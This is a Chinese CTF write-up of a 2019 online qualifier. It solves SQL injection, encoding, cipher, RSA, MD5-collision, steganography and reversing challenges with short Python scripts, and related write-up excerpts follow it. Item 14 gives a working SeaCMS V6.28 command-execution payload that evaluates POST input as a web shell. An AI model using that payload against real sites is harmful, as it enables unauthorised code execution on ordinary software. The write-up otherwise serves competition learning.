2019嘉韦思杯线上初赛writeup

1 土肥原贤二
看到页面怀疑是sql注入,写了个4‘进去就发生报错。
could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘4‘‘‘ at line 1
直接丢到sqlmap里
id,flag
20_welcome_19,20_welcome_19
1,1
从而得到flag

2 吴佩孚
先是有点蒙,试了下base64,发现得到(![]+[])[+[]]+(![]+[])[!+[],看起来是jsfuck,丢到浏览器console中得到flag

3 死亡真相
wav音屏文件,用audacity打开,先是频谱图,发现有先是flag:。。。。,后面的字符串是32位,但是其中有三个下划线,猜测是挖掉了三个数字的md5,于是取中间16位,形成16位的md5,这样子就只含有两个下划线,16*16=256中可能。在网上在线批量解密,发现两个下划线都替换成0的时候就可以解开,用flag{}包装下提交

4 日军空袭
不停地base64解码,最后得到flag{fB__l621a4h4g_ai%7B%26i%7D},url解码得fB__l621a4h4g_ai{&i},然后解移位密码,位移为4,得flag

6 戴星炳
用python,获得网页,正则提取然后eval算出来,再请求,获得falg
import requests
import re
r = requests.get(‘http://47.103.43.235:82/web/a/index.php‘)
a = re.findall(r‘<p>(0x.*)</p>‘,r.text)[0]
a = eval(a)
print(a)
rr = requests.post(‘http://47.103.43.235:82/web/a/index.php‘,data={‘result‘:str(a)})
print(rr.text)

7 大美晚报
二维码,下载下来,显示用binwalk发现里面有压缩包,用foremost得到里面的压缩包,记事本打开发现有句话说密码是qq号,所以用zipperello穷举数字8-10位组合,得到密码674290437,解压zip得到falg

8 潘汉年
bg[`sZ*Zg‘dPfP`VM_SXVd
观察前面五个字符和flag{这五个字符ascii码的差,发现这个差是递增的,根据这个规律就可以解密啦
s = "bg[`sZ*Zg‘dPfP`VM_SXVd"
r = ‘‘
for i in range(len(s)):
    r = r+chr(ord(s[i])+4+i)
print(r)

9 袁殊
rsa加密,根据public key ,用openssl获得n和e,由于n不大,在http://factordb.com/分解得到pq,然后就可以直接解密啦
n16 = ‘A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9‘
p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
#273821108020968288372911424519201044333<39> · 280385007186315115828483000867559983517<39>
n = int(n16,16)
e = 65537
import gmpy2
import rsa
d = int(gmpy2.invert(e , (p-1) * (q-1)))
privatekey = rsa.PrivateKey(n , e , d , p , q)      #根据已知参数,计算私钥
with open("fllllllag.txt" , "rb") as f:
    print(rsa.decrypt(f.read(), privatekey).decode())       #使用私钥对密文进行解密,并打印

11 晴气庆胤
根据html中的提示,是要输入两个不同的字符串但是有相同md5
使用fastcoll生成两个具有相同md5的文件,再利用python post过去就可以获得falg了
import requests
url = ‘http://47.103.43.235:85/a/‘
with open(‘msg1.bin‘,‘rb‘) as f:
    data1 = f.read()
with open(‘msg2.bin‘,‘rb‘) as f:
    data2 = f.read()
d = {‘param1‘:data1,‘param2‘:data2}
r = requests.post(url,data = d)
print(r.text)

12 梅津美治郎
逆向
有两个密码,windbg动态调试即可,给scanf下断点
第一层的密码在调用strcmp的地方直接就可以找到
第二层的密码是显示内存中有一个字符串,将这个字符串的每个字符和2进行异或得到的就是第二层密码

14 作战计划
seacms,利用海洋CMS V6.28 命令执行 0DAY,直接菜刀/search.php?searchtype=5&tid=&area=eval($_POST[cmd])就可以看到有个flag文件,打开就是flag

原文地址:https://www.cnblogs.com/digdig/p/10631947.html

时间: 2024-10-07 00:32:57

2019嘉韦思杯线上初赛writeup的相关文章

2019“嘉韦思杯”3.30初赛一部分Write Up

同学们TQL.佩服李长兴同学的超神瓜皮思维. 一.飞虎队(希尔密码) 本题是我今天大部分时间的花费处.先百度学习了希尔密码,然后尝试手动计算逆矩阵和矩阵乘法,还求助于线性代数课本,可谓苦不堪言. 做题千万条,数学第一条.线代学不好,老师两行泪. 简要介绍希尔密码 希尔密码是以矩阵的线性方式为加密方式.将26个字母分别对应0到25这26个数字(之前我还徘徊过A对应0还是1,想到取余数会有0,所以确定从0开始),明文排成一个含n个m维列向量(即mn矩阵)的矩阵M的格式.密钥K为nn矩阵.加密方式为:

上海嘉韦思杯部分writeup

第二题 打开赛题,看到加密字符串,进行base64解密,发现是JSFUCK,再次解密,控制台得到flag. 第三题 打开频谱图得到flag,flag中有三个_,联想到音频文件详细信息中的三个zero,带入MD5解密得到flag. 第四题 打开赛题发现是加密字符串,进行15次base64解密,发现有栅栏规律,解密得到flag. 第六题 题目要求2秒内输入数学表达式结果,写脚本得到flag. #coding:utf-8 import requests improt re import sys rel

2016/12/3-问鼎杯线上赛6-2逆向分析

这道题目的文件给我们的是一个压缩包a2ia8-6-2.rar,解压之后得到一个crackme.exe和readme.txt 打开readme.txt可以看到对我们目标的描述. 从这里我们知道,这个就是逆向当中很平常的求serial计算算法(或者更具提示暴力跑?这里我们分析来逆向算法), 并且我们也知道了8位name,还有4位不知道,得到name = "{hdu?b???0_}"但是我们可以根据序列号来计算出来. 拿到一个程序之后,首先使用PEID来查壳,这道题目没有壳,先运行一遍(这里

2016/12/3-问鼎杯线上赛1-1-Misc

拿到这道题目的文件,是一个压缩包,解压之后,我们看到一个1.txt文件,打开之后全是一堆数字,然后看到255,0,144等内容,估计是图片的像素值. 既然知道是像素值了,在CTF中,一般是8位比特的RGB图片,我们就使用Python写一个脚本来生成这个图片,Python使用的是PIL这个库.将所有的数据分为3个一组 我们可以知道3个一组的长度为95477, 写一个小程序,就可以知道是301*377的图片,然后分别对图片填充像素,就完成了图片的生成. import os from PIL impo

ISCC 2018线上赛 writeup

今天有机会去ISCC2018参加了比赛,个人的感受是比赛题目整体难度不高,就是脑洞特别大,flag形式不明确,拿到flag后也要猜测flag格式,贼坑 废话不多说,以下是本人的解题思路 MISC 0x01 What is that? 下载附件得到图片 看图应该可以猜到flag在下面被截取了,所以我们去修改图片的高度 用十六进制打开图片 在图片的高度那里修改一下数值,我是把01 F4 改成 03 F4 ,高度该多少随意,能看到flag即可 再打开图片,出现flag 然后格式贼坑,根据多种尝试,最后

RCTF 2018线上赛 writeup

苦逼的RCTF,只进行了两天,刚好第二天是5.20,出去xxx了,没法打比赛,难受.比赛结束了,还不准继续提交flag进行正确校验了,更难受. 下面是本次ctf解题思路流程 后面我解出的题会陆续更新上来 MISC sign 下载附件,发现打不开,以兼容性.管理员权限等还是打不开 丢进winhex初步审视一下16进制没啥发现 用binwalk扫描一下,发现一张png 提取,但是提取不出来,转手动提取,得到图片 本子,铅笔,红酒杯. 通过红酒杯联想到linux wine,用wine打开,得到flag

2019刘老师教你用springboot2.x开发整合微信支付的线上教育平台带源码送springboot2.x零基础入门到高级实战教程

第一部分:springboot2.x零基础入门到高级实战教程一.零基础快速入门SpringBoot2.0 1.SpringBoot2.x课程全套介绍和高手系列知识点 简介:介绍SpringBoot2.x课程大纲章节 java基础,jdk环境,maven基础 2.SpringBoot2.x依赖环境和版本新特性说明 简介:讲解新版本依赖环境和springboot2新特性概述 3.快速创建SpringBoot2.x应用之手工创建web应用 简介:使用Maven手工创建SpringBoot2.x应用 4

为什么PCB行业越来越多做线上推广、线上下单平台呢

为什么PCB行业越来越多做线上推广.线上下单平台呢 一. PCB传统生产行业现状分析 A. 市场容量 印刷电路板作为“电子产品之母”,广泛应用于通讯电子.消费电子.计算机.汽车电子.工业控制.医疗器械.国防及航空航天等领域,是现代电子信息产品中不可或缺的电子元器件,印制电路板产业的发展水平可在一定程度上反映一个国家或地区电子信息产业的发展速度与技术水准.在当前云技术. 5G 网络建设.大数据.人工智能.共享经济.工业 4.0.物联网等加速演变的大环境下,作为“电子产品之母”的 PCB 行业将成为

一个Flume线上问题的排查

最近在做一个分布式调用链跟踪系统, 在两个地方采用了flume ,一个是宿主系统 ,用flume agent进行日志搜集. 一个是从kafka拉日志分析后写入hbase. 后面这个flume(从kafka拉日志分析后写入flume)用了3台  , 系统上线以后 ,线上抛了一个这样的异常: Caused by: org.apache.flume.ChannelException: Put queue for MemoryTransaction of capacity 100 full, consi